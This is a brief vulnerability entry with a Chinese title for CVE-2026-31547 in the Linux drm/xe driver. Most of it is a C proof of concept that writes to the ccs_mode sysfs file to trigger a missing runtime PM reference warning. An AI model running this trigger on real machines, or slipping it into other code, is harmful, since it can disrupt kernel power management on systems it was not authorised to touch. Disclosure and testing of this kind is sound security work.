CVE-2026-31547 Linux内核drm/xe驱动资源管理漏洞

/* * PoC for CVE-2026-31547 * Triggering the missing runtime PM reference in ccs_mode_store * Compile: gcc -o poc cve_2026_31547.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #define DEVICE_PATH "/sys/class/drm/card0/device/ccs_mode" // Adjust path as needed int main() { int fd; const char *data = "1"; // Arbitrary data to trigger store function printf("[*] Attempting to trigger CVE-2026-31547 by writing to %s\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open device file"); return 1; } if (write(fd, data, strlen(data)) < 0) { perror("[-] Failed to write to device file"); close(fd); return 1; } printf("[+] Write successful. Check dmesg for 'Missing outer runtime PM protection'.\n"); close(fd); return 0; }